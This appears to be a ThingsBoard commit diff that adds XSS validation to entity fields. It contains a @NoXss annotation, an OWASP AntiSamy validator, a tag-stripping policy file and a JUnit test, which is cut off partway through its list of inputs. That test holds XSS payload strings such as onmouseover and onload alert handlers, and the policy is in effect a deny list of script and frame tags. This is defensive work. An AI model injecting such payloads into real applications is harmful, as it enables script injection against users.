Provide additional validation for entities (#4326)
* Provide additional validation for entities * Refactor * Create test for NoXssValidator * Refactor dependencies
This commit is contained in:
parent
fd3e18f18b
commit
593f95a7af
@ -36,6 +36,14 @@
|
||||
</properties>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>javax.validation</groupId>
|
||||
<artifactId>validation-api</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.antisamy</groupId>
|
||||
<artifactId>antisamy</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.slf4j</groupId>
|
||||
<artifactId>slf4j-api</artifactId>
|
||||
|
||||
@ -18,11 +18,13 @@ package org.thingsboard.server.common.data;
|
||||
import org.thingsboard.server.common.data.id.AdminSettingsId;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
public class AdminSettings extends BaseData<AdminSettingsId> {
|
||||
|
||||
private static final long serialVersionUID = -7670322981725511892L;
|
||||
|
||||
|
||||
@NoXss
|
||||
private String key;
|
||||
private transient JsonNode jsonValue;
|
||||
|
||||
|
||||
@ -17,19 +17,28 @@ package org.thingsboard.server.common.data;
|
||||
|
||||
import lombok.EqualsAndHashCode;
|
||||
import org.thingsboard.server.common.data.id.UUIDBased;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
@EqualsAndHashCode(callSuper = true)
|
||||
public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName {
|
||||
|
||||
private static final long serialVersionUID = 5047448057830660988L;
|
||||
|
||||
|
||||
@NoXss
|
||||
protected String country;
|
||||
@NoXss
|
||||
protected String state;
|
||||
@NoXss
|
||||
protected String city;
|
||||
@NoXss
|
||||
protected String address;
|
||||
@NoXss
|
||||
protected String address2;
|
||||
@NoXss
|
||||
protected String zip;
|
||||
@NoXss
|
||||
protected String phone;
|
||||
@NoXss
|
||||
protected String email;
|
||||
|
||||
public ContactBased() {
|
||||
|
||||
@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty;
|
||||
import com.fasterxml.jackson.annotation.JsonProperty.Access;
|
||||
import org.thingsboard.server.common.data.id.CustomerId;
|
||||
import org.thingsboard.server.common.data.id.TenantId;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
public class Customer extends ContactBased<CustomerId> implements HasTenantId {
|
||||
|
||||
private static final long serialVersionUID = -1599722990298929275L;
|
||||
|
||||
|
||||
@NoXss
|
||||
private String title;
|
||||
private TenantId tenantId;
|
||||
|
||||
|
||||
@ -25,6 +25,7 @@ import org.thingsboard.server.common.data.id.CustomerId;
|
||||
import org.thingsboard.server.common.data.id.DeviceId;
|
||||
import org.thingsboard.server.common.data.id.DeviceProfileId;
|
||||
import org.thingsboard.server.common.data.id.TenantId;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
@ -37,8 +38,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen
|
||||
|
||||
private TenantId tenantId;
|
||||
private CustomerId customerId;
|
||||
@NoXss
|
||||
private String name;
|
||||
@NoXss
|
||||
private String type;
|
||||
@NoXss
|
||||
private String label;
|
||||
private DeviceProfileId deviceProfileId;
|
||||
private transient DeviceData deviceData;
|
||||
|
||||
@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData;
|
||||
import org.thingsboard.server.common.data.id.DeviceProfileId;
|
||||
import org.thingsboard.server.common.data.id.RuleChainId;
|
||||
import org.thingsboard.server.common.data.id.TenantId;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
import javax.validation.Valid;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
|
||||
public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId {
|
||||
|
||||
private TenantId tenantId;
|
||||
@NoXss
|
||||
private String name;
|
||||
@NoXss
|
||||
private String description;
|
||||
private boolean isDefault;
|
||||
private DeviceProfileType type;
|
||||
private DeviceTransportType transportType;
|
||||
private DeviceProfileProvisionType provisionType;
|
||||
private RuleChainId defaultRuleChainId;
|
||||
@NoXss
|
||||
private String defaultQueueName;
|
||||
@Valid
|
||||
private transient DeviceProfileData profileData;
|
||||
@JsonIgnore
|
||||
private byte[] profileDataBytes;
|
||||
@NoXss
|
||||
private String provisionDeviceKey;
|
||||
|
||||
public DeviceProfile() {
|
||||
|
||||
@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId;
|
||||
import org.thingsboard.server.common.data.id.EntityViewId;
|
||||
import org.thingsboard.server.common.data.id.TenantId;
|
||||
import org.thingsboard.server.common.data.objects.TelemetryEntityView;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
/**
|
||||
* Created by Victor Basanets on 8/27/2017.
|
||||
@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId>
|
||||
private EntityId entityId;
|
||||
private TenantId tenantId;
|
||||
private CustomerId customerId;
|
||||
@NoXss
|
||||
private String name;
|
||||
@NoXss
|
||||
private String type;
|
||||
private TelemetryEntityView keys;
|
||||
private long startTimeMs;
|
||||
|
||||
@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty;
|
||||
import lombok.EqualsAndHashCode;
|
||||
import org.thingsboard.server.common.data.id.TenantId;
|
||||
import org.thingsboard.server.common.data.id.TenantProfileId;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
@EqualsAndHashCode(callSuper = true)
|
||||
public class Tenant extends ContactBased<TenantId> implements HasTenantId {
|
||||
|
||||
private static final long serialVersionUID = 8057243243859922101L;
|
||||
|
||||
|
||||
@NoXss
|
||||
private String title;
|
||||
@NoXss
|
||||
private String region;
|
||||
private TenantProfileId tenantProfileId;
|
||||
|
||||
|
||||
@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j;
|
||||
import org.thingsboard.server.common.data.id.TenantProfileId;
|
||||
import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration;
|
||||
import org.thingsboard.server.common.data.tenant.profile.TenantProfileData;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
|
||||
@Slf4j
|
||||
public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName {
|
||||
|
||||
@NoXss
|
||||
private String name;
|
||||
@NoXss
|
||||
private String description;
|
||||
private boolean isDefault;
|
||||
private boolean isolatedTbCore;
|
||||
|
||||
@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId;
|
||||
import org.thingsboard.server.common.data.id.UserId;
|
||||
import org.thingsboard.server.common.data.security.Authority;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
@EqualsAndHashCode(callSuper = true)
|
||||
public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId {
|
||||
@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H
|
||||
private CustomerId customerId;
|
||||
private String email;
|
||||
private Authority authority;
|
||||
@NoXss
|
||||
private String firstName;
|
||||
@NoXss
|
||||
private String lastName;
|
||||
|
||||
public User() {
|
||||
|
||||
@ -15,12 +15,15 @@
|
||||
*/
|
||||
package org.thingsboard.server.common.data.asset;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import lombok.EqualsAndHashCode;
|
||||
import org.thingsboard.server.common.data.*;
|
||||
import org.thingsboard.server.common.data.HasCustomerId;
|
||||
import org.thingsboard.server.common.data.HasName;
|
||||
import org.thingsboard.server.common.data.HasTenantId;
|
||||
import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
|
||||
import org.thingsboard.server.common.data.id.AssetId;
|
||||
import org.thingsboard.server.common.data.id.CustomerId;
|
||||
import org.thingsboard.server.common.data.id.TenantId;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
@EqualsAndHashCode(callSuper = true)
|
||||
public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId {
|
||||
@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements
|
||||
|
||||
private TenantId tenantId;
|
||||
private CustomerId customerId;
|
||||
@NoXss
|
||||
private String name;
|
||||
@NoXss
|
||||
private String type;
|
||||
@NoXss
|
||||
private String label;
|
||||
|
||||
public Asset() {
|
||||
|
||||
@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile;
|
||||
|
||||
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
|
||||
import lombok.Data;
|
||||
import org.thingsboard.server.common.data.query.KeyFilter;
|
||||
|
||||
import javax.validation.Valid;
|
||||
import java.util.List;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@Data
|
||||
@JsonIgnoreProperties(ignoreUnknown = true)
|
||||
public class AlarmCondition {
|
||||
|
||||
@Valid
|
||||
private List<AlarmConditionFilter> condition;
|
||||
private AlarmConditionSpec spec;
|
||||
|
||||
|
||||
@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile;
|
||||
import lombok.Data;
|
||||
import org.thingsboard.server.common.data.query.EntityKeyValueType;
|
||||
import org.thingsboard.server.common.data.query.KeyFilterPredicate;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
import javax.validation.Valid;
|
||||
|
||||
@Data
|
||||
public class AlarmConditionFilter {
|
||||
|
||||
@Valid
|
||||
private AlarmConditionFilterKey key;
|
||||
private EntityKeyValueType valueType;
|
||||
@NoXss
|
||||
private Object value;
|
||||
@Valid
|
||||
private KeyFilterPredicate predicate;
|
||||
|
||||
}
|
||||
|
||||
@ -16,11 +16,13 @@
|
||||
package org.thingsboard.server.common.data.device.profile;
|
||||
|
||||
import lombok.Data;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
@Data
|
||||
public class AlarmConditionFilterKey {
|
||||
|
||||
private final AlarmConditionKeyType type;
|
||||
@NoXss
|
||||
private final String key;
|
||||
|
||||
}
|
||||
|
||||
@ -16,13 +16,18 @@
|
||||
package org.thingsboard.server.common.data.device.profile;
|
||||
|
||||
import lombok.Data;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
import javax.validation.Valid;
|
||||
|
||||
@Data
|
||||
public class AlarmRule {
|
||||
|
||||
@Valid
|
||||
private AlarmCondition condition;
|
||||
private AlarmSchedule schedule;
|
||||
// Advanced
|
||||
@NoXss
|
||||
private String alarmDetails;
|
||||
|
||||
}
|
||||
|
||||
@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile;
|
||||
|
||||
import lombok.Data;
|
||||
import org.thingsboard.server.common.data.alarm.AlarmSeverity;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
import javax.validation.Valid;
|
||||
import java.util.List;
|
||||
import java.util.TreeMap;
|
||||
|
||||
@ -25,9 +27,12 @@ import java.util.TreeMap;
|
||||
public class DeviceProfileAlarm {
|
||||
|
||||
private String id;
|
||||
@NoXss
|
||||
private String alarmType;
|
||||
|
||||
@Valid
|
||||
private TreeMap<AlarmSeverity, AlarmRule> createRules;
|
||||
@Valid
|
||||
private AlarmRule clearRule;
|
||||
|
||||
// Hidden in advanced settings
|
||||
|
||||
@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile;
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
import javax.validation.Valid;
|
||||
import java.util.List;
|
||||
|
||||
@Data
|
||||
@ -25,6 +26,7 @@ public class DeviceProfileData {
|
||||
private DeviceProfileConfiguration configuration;
|
||||
private DeviceProfileTransportConfiguration transportConfiguration;
|
||||
private DeviceProfileProvisionConfiguration provisionConfiguration;
|
||||
@Valid
|
||||
private List<DeviceProfileAlarm> alarms;
|
||||
|
||||
}
|
||||
|
||||
@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query;
|
||||
import com.fasterxml.jackson.annotation.JsonIgnore;
|
||||
import lombok.Data;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
@Data
|
||||
@RequiredArgsConstructor
|
||||
@ -27,6 +28,7 @@ public class DynamicValue<T> {
|
||||
private T resolvedValue;
|
||||
|
||||
private final DynamicValueSourceType sourceType;
|
||||
@NoXss
|
||||
private final String sourceAttribute;
|
||||
private final boolean inherit;
|
||||
|
||||
|
||||
@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore;
|
||||
import com.fasterxml.jackson.annotation.JsonProperty;
|
||||
import lombok.Data;
|
||||
import lombok.Getter;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
import javax.validation.Valid;
|
||||
|
||||
@Data
|
||||
public class FilterPredicateValue<T> {
|
||||
|
||||
@Getter
|
||||
@NoXss
|
||||
private final T defaultValue;
|
||||
@Getter
|
||||
@NoXss
|
||||
private final T userValue;
|
||||
@Getter
|
||||
@Valid
|
||||
private final DynamicValue<T> dynamicValue;
|
||||
|
||||
public FilterPredicateValue(T defaultValue) {
|
||||
|
||||
@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query;
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
import javax.validation.Valid;
|
||||
|
||||
@Data
|
||||
public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> {
|
||||
|
||||
private StringOperation operation;
|
||||
@Valid
|
||||
private FilterPredicateValue<String> value;
|
||||
private boolean ignoreCase;
|
||||
|
||||
|
||||
@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
|
||||
import org.thingsboard.server.common.data.id.RuleChainId;
|
||||
import org.thingsboard.server.common.data.id.RuleNodeId;
|
||||
import org.thingsboard.server.common.data.id.TenantId;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
@Data
|
||||
@EqualsAndHashCode(callSuper = true)
|
||||
@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im
|
||||
private static final long serialVersionUID = -5656679015121935465L;
|
||||
|
||||
private TenantId tenantId;
|
||||
@NoXss
|
||||
private String name;
|
||||
private RuleNodeId firstRuleNodeId;
|
||||
private boolean root;
|
||||
|
||||
@ -0,0 +1,34 @@
|
||||
/**
|
||||
* Copyright © 2016-2021 The Thingsboard Authors
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
package org.thingsboard.server.common.data.validation;
|
||||
|
||||
import javax.validation.Constraint;
|
||||
import javax.validation.Payload;
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
@Target(ElementType.FIELD)
|
||||
@Constraint(validatedBy = {})
|
||||
public @interface NoXss {
|
||||
String message() default "field value is malformed";
|
||||
|
||||
Class<?>[] groups() default {};
|
||||
|
||||
Class<? extends Payload>[] payload() default {};
|
||||
}
|
||||
13
dao/pom.xml
13
dao/pom.xml
@ -107,6 +107,14 @@
|
||||
<groupId>com.fasterxml.jackson.core</groupId>
|
||||
<artifactId>jackson-databind</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.hibernate.validator</groupId>
|
||||
<artifactId>hibernate-validator</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.glassfish</groupId>
|
||||
<artifactId>javax.el</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-context</artifactId>
|
||||
@ -194,6 +202,11 @@
|
||||
<artifactId>hsqldb</artifactId>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.junit.jupiter</groupId>
|
||||
<artifactId>junit-jupiter-params</artifactId>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-context-support</artifactId>
|
||||
|
||||
@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.hibernate.validator.HibernateValidator;
|
||||
import org.hibernate.validator.HibernateValidatorConfiguration;
|
||||
import org.hibernate.validator.cfg.ConstraintMapping;
|
||||
import org.thingsboard.server.common.data.BaseData;
|
||||
import org.thingsboard.server.common.data.EntityType;
|
||||
import org.thingsboard.server.common.data.id.TenantId;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
import org.thingsboard.server.dao.TenantEntityDao;
|
||||
import org.thingsboard.server.dao.exception.DataValidationException;
|
||||
|
||||
import javax.validation.ConstraintViolation;
|
||||
import javax.validation.Validation;
|
||||
import javax.validation.Validator;
|
||||
import java.util.HashSet;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.function.Function;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
@Slf4j
|
||||
public abstract class DataValidator<D extends BaseData<?>> {
|
||||
private static final Pattern EMAIL_PATTERN =
|
||||
Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE);
|
||||
|
||||
private static Validator fieldsValidator;
|
||||
|
||||
static {
|
||||
initializeFieldsValidator();
|
||||
}
|
||||
|
||||
public void validate(D data, Function<D, TenantId> tenantIdFunction) {
|
||||
try {
|
||||
if (data == null) {
|
||||
throw new DataValidationException("Data object can't be null!");
|
||||
}
|
||||
|
||||
List<String> validationErrors = validateFields(data);
|
||||
if (!validationErrors.isEmpty()) {
|
||||
throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors));
|
||||
}
|
||||
|
||||
TenantId tenantId = tenantIdFunction.apply(data);
|
||||
validateDataImpl(tenantId, data);
|
||||
if (data.getId() == null) {
|
||||
@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> {
|
||||
return emailMatcher.matches();
|
||||
}
|
||||
|
||||
private List<String> validateFields(D data) {
|
||||
Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data);
|
||||
return constraintsViolations.stream()
|
||||
.map(ConstraintViolation::getMessage)
|
||||
.distinct()
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
protected void validateNumberOfEntitiesPerTenant(TenantId tenantId,
|
||||
TenantEntityDao tenantEntityDao,
|
||||
long maxEntities,
|
||||
@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> {
|
||||
throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!");
|
||||
}
|
||||
}
|
||||
|
||||
private static void initializeFieldsValidator() {
|
||||
HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure();
|
||||
ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping();
|
||||
constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class);
|
||||
validatorConfiguration.addMapping(constraintMapping);
|
||||
|
||||
fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator();
|
||||
}
|
||||
}
|
||||
|
||||
@ -0,0 +1,57 @@
|
||||
/**
|
||||
* Copyright © 2016-2021 The Thingsboard Authors
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
package org.thingsboard.server.dao.service;
|
||||
|
||||
import com.google.common.io.Resources;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.validator.html.AntiSamy;
|
||||
import org.owasp.validator.html.Policy;
|
||||
import org.owasp.validator.html.PolicyException;
|
||||
import org.owasp.validator.html.ScanException;
|
||||
import org.thingsboard.server.common.data.validation.NoXss;
|
||||
|
||||
import javax.validation.ConstraintValidator;
|
||||
import javax.validation.ConstraintValidatorContext;
|
||||
|
||||
@Slf4j
|
||||
public class NoXssValidator implements ConstraintValidator<NoXss, Object> {
|
||||
private static final AntiSamy xssChecker = new AntiSamy();
|
||||
private static Policy xssPolicy;
|
||||
|
||||
@Override
|
||||
public void initialize(NoXss constraintAnnotation) {
|
||||
if (xssPolicy == null) {
|
||||
try {
|
||||
xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml"));
|
||||
} catch (Exception e) {
|
||||
log.error("Failed to set xss policy: {}", e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) {
|
||||
if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) {
|
||||
return true;
|
||||
}
|
||||
|
||||
try {
|
||||
return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0;
|
||||
} catch (ScanException | PolicyException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
162
dao/src/main/resources/xss-policy.xml
Normal file
162
dao/src/main/resources/xss-policy.xml
Normal file
@ -0,0 +1,162 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<!--
|
||||
|
||||
Copyright © 2016-2021 The Thingsboard Authors
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
|
||||
-->
|
||||
<anti-samy-rules>
|
||||
|
||||
<directives>
|
||||
<directive name="omitXmlDeclaration" value="true"/>
|
||||
<directive name="omitDoctypeDeclaration" value="false"/>
|
||||
<directive name="maxInputSize" value="100000"/>
|
||||
<directive name="embedStyleSheets" value="false"/>
|
||||
<directive name="useXHTML" value="true"/>
|
||||
<directive name="formatOutput" value="true"/>
|
||||
</directives>
|
||||
|
||||
<common-regexps>
|
||||
|
||||
<!--
|
||||
From W3C:
|
||||
This attribute assigns a class name or set of class names to an
|
||||
element. Any number of elements may be assigned the same class
|
||||
name or names. Multiple class names must be separated by white
|
||||
space characters.
|
||||
-->
|
||||
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/>
|
||||
|
||||
<!-- force non-empty with a '+' at the end instead of '*'
|
||||
-->
|
||||
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/>
|
||||
|
||||
<!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+)
|
||||
-->
|
||||
|
||||
<!-- ([\p{L}/ 0-9&\#-.?=])*
|
||||
-->
|
||||
<regexp name="offsiteURL"
|
||||
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/>
|
||||
</common-regexps>
|
||||
|
||||
<common-attributes>
|
||||
|
||||
<attribute name="lang"
|
||||
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
|
||||
|
||||
<regexp-list>
|
||||
<regexp value="[a-zA-Z]{2,20}"/>
|
||||
</regexp-list>
|
||||
</attribute>
|
||||
|
||||
<attribute name="title"
|
||||
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
|
||||
|
||||
<regexp-list>
|
||||
<regexp name="htmlTitle"/>
|
||||
</regexp-list>
|
||||
</attribute>
|
||||
|
||||
<attribute name="href" onInvalid="filterTag">
|
||||
|
||||
<regexp-list>
|
||||
<regexp name="onsiteURL"/>
|
||||
<regexp name="offsiteURL"/>
|
||||
</regexp-list>
|
||||
</attribute>
|
||||
|
||||
<attribute name="align"
|
||||
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
|
||||
|
||||
<literal-list>
|
||||
<literal value="center"/>
|
||||
<literal value="left"/>
|
||||
<literal value="right"/>
|
||||
<literal value="justify"/>
|
||||
<literal value="char"/>
|
||||
</literal-list>
|
||||
</attribute>
|
||||
<attribute name="style"
|
||||
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
|
||||
</common-attributes>
|
||||
|
||||
<global-tag-attributes>
|
||||
<attribute name="title"/>
|
||||
<attribute name="lang"/>
|
||||
<attribute name="style"/>
|
||||
</global-tag-attributes>
|
||||
|
||||
<tags-to-encode>
|
||||
<tag>g</tag>
|
||||
<tag>grin</tag>
|
||||
</tags-to-encode>
|
||||
|
||||
<tag-rules>
|
||||
|
||||
<tag name="script" action="remove"/>
|
||||
<tag name="noscript" action="remove"/>
|
||||
<tag name="iframe" action="remove"/>
|
||||
<tag name="frameset" action="remove"/>
|
||||
<tag name="frame" action="remove"/>
|
||||
<tag name="noframes" action="remove"/>
|
||||
<tag name="head" action="remove"/>
|
||||
<tag name="title" action="remove"/>
|
||||
<tag name="base" action="remove"/>
|
||||
<tag name="style" action="remove"/>
|
||||
<tag name="link" action="remove"/>
|
||||
<tag name="input" action="remove"/>
|
||||
<tag name="textarea" action="remove"/>
|
||||
|
||||
<tag name="br" action="remove"/>
|
||||
|
||||
<tag name="p" action="remove"/>
|
||||
<tag name="div" action="remove"/>
|
||||
<tag name="span" action="remove"/>
|
||||
<tag name="i" action="remove"/>
|
||||
<tag name="b" action="remove"/>
|
||||
<tag name="strong" action="remove"/>
|
||||
<tag name="s" action="remove"/>
|
||||
<tag name="strike" action="remove"/>
|
||||
<tag name="u" action="remove"/>
|
||||
<tag name="em" action="remove"/>
|
||||
<tag name="blockquote" action="remove"/>
|
||||
<tag name="tt" action="remove"/>
|
||||
|
||||
<tag name="a" action="remove"/>
|
||||
|
||||
<tag name="ul" action="remove"/>
|
||||
<tag name="ol" action="remove"/>
|
||||
<tag name="li" action="remove"/>
|
||||
<tag name="dl" action="remove"/>
|
||||
<tag name="dt" action="remove"/>
|
||||
<tag name="dd" action="remove"/>
|
||||
</tag-rules>
|
||||
|
||||
<css-rules>
|
||||
<property name="text-decoration" default="none"
|
||||
description="">
|
||||
|
||||
<category-list>
|
||||
<category value="visual"/>
|
||||
</category-list>
|
||||
|
||||
<literal-list>
|
||||
<literal value="underline"/>
|
||||
<literal value="overline"/>
|
||||
<literal value="line-through"/>
|
||||
</literal-list>
|
||||
</property>
|
||||
</css-rules>
|
||||
</anti-samy-rules>
|
||||
@ -0,0 +1,52 @@
|
||||
/**
|
||||
* Copyright © 2016-2021 The Thingsboard Authors
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
package org.thingsboard.server.dao.service;
|
||||
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
|
||||
import javax.validation.ConstraintValidatorContext;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.mockito.Mockito.mock;
|
||||
|
||||
public class NoXssValidatorTest {
|
||||
private static NoXssValidator validator;
|
||||
|
||||
@BeforeAll
|
||||
public static void beforeAll() {
|
||||
validator = new NoXssValidator();
|
||||
validator.initialize(null);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {
|
||||
"aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666",
|
||||
"9090<body onload=alert('xsssss')>90909",
|
||||
